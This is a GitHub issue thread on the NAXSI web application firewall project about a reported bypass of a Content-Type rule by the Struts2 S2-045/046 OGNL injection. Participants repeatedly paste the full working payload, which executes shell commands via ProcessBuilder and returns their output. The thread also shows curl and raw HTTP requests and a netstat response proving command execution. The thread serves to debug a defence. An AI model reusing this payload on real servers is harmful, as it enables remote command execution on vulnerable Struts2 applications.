nbs-system / naxsi

NAXSI is an open-source, high performance, low rules maintenance WAF for NGINX
GNU General Public License v3.0
4.8k stars 606 forks source link

conten-type attack #429

Closed limithit closed 6 years ago

limithit commented 6 years ago
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -an').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
MainRule "rx:multipart/form-data" "mz:$HEADERS_VAR:content-type" "s:DROP";

The attack of struts2-045 046 has been matched to the rule, but it has not been intercepted.

2018/07/03 11:57:30 [error] 11766#0: *38 NAXSI_FMT: ip=127.0.0.1&server=localhost&uri=/&learning=0&vers=0.56&total_processed=3&total_blocked=3&block=1&zone0=HEADERS&id0=0&var_name0=content-type, client: 127.0.0.1, server:localhost, request: "GET / HTTP/1.1", host: "localhost"
Content-Type:"{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -an').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

Removing '%' is intercepted

buixor commented 6 years ago

Hello @limithit Can you provide a reproducible test ? I'm not sure to get your point :)

Thanks !

limithit commented 6 years ago

Of course, this problem can be reproduced, and I tested a lot and it was the same result.

GET http://localhost/ HTTP/1.1
User-Agent: Fiddler
Host: localhost
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -tupln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
HTTP/1.1 200
Server: nginx
Date: Mon, 09 Jul 2018 11:48:20 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: JSESSIONID=8DFD4B669CD3843B00046108399937DF; Path=/; HttpOnly
Content-Language: zh-CN

c33
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:45065           0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::8009                 :::*                    LISTEN      -               
tcp6       0      0 :::3306                 :::*                    LISTEN      -               
tcp6       0      0 :::6379                 :::*                    LISTEN      -               
tcp6       0      0 :::111                  :::*                    LISTEN      -               
tcp6       0      0 :::8080                 :::*                    LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
tcp6       0      0 ::1:25                  :::*                    LISTEN      -               
tcp6       0      0 :::40644                :::*                    LISTEN      -               
udp        0      0 0.0.0.0:53778           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:631             0.0.0.0:*                           -               
udp        0      0 0.0.0.0:672             0.0.0.0:*                           -               
udp        0      0 127.0.0.1:704           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:23279           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:111             0.0.0.0:*                           -               
udp        0      0 0.0.0.0:57697           0.0.0.0:*                           -               
udp6       0      0 :::12945                :::*                                -               
udp6       0      0 :::672                  :::*                                -               
udp6       0      0 :::5353                 :::*                                -               
udp6       0      0 :::34134                :::*                                -               
udp6       0      0 :::111                  :::*                                -               
udp6       0      0 :::37053                :::*                                -               

0
limithit commented 6 years ago

This is my actual temporary scheme:

 if ($content_type ~* "multipart/form-data") {
  return 403;
}
limithit commented 6 years ago

This seems to be the result of content-type overflow @buixor

buixor commented 6 years ago

@limithit sorry was busy on other stuff, I'll try to take a look at it this week :)

buixor commented 6 years ago

Hello again @limithit !

After some testing, I was not able to reproduce (or I misunderstood something).

 location / {
  BasicRule id:4242 "rx:multipart/form-data" "mz:$HEADERS_VAR:content-type" "s:DROP";
  LearningMode;
  SecRulesEnabled;

Request :

curl -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -tupln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" localhost:4242

The request is correctly dropped by the rule :

2018/07/24 13:56:29 [error] 9108#0: *1 NAXSI_FMT: ip=127.0.0.1&server=localhost&uri=/&learning=1&vers=0.56&total_processed=1&total_blocked=1&block=1&zone0=HEADERS&id0=4242&var_name0=content-type, client: 127.0.0.1, server: localhost, request: "GET / HTTP/1.1", host: "localhost:4242"

However, beware, as content-type only makes sense for POST requests (that have a body). If you do the same request, without the custom rule, and issuing a POST method, you will get this :

curl -XPOST -vvv -d @/tmp/xxx -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='netstat -tupln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" localhost:4242


2018/07/24 14:02:44 [error] 9319#0: *9 NAXSI_FMT: ip=127.0.0.1&server=localhost&uri=/&learning=1&vers=0.56&total_processed=9&total_blocked=5&block=1&zone0=BODY&id0=11&var_name0=, client: 127.0.0.1, server: localhost, request: "POST / HTTP/1.1", host: "localhost:4242"

The ID 11, triggered here is the uncommon content-type one.

Can you either confirm or provide some further info ?

cheers,

limithit commented 6 years ago

When I tested it, the log indeed recorded the deleted request, but I can actually execute the webshell. maybe you have to reproduce the vulnerability environment to understand, so let's just give up.@buixor

limithit commented 6 years ago

I have repaired this bug and submitted the merge request. @buixor

jvoisin commented 6 years ago

The PR in question being #434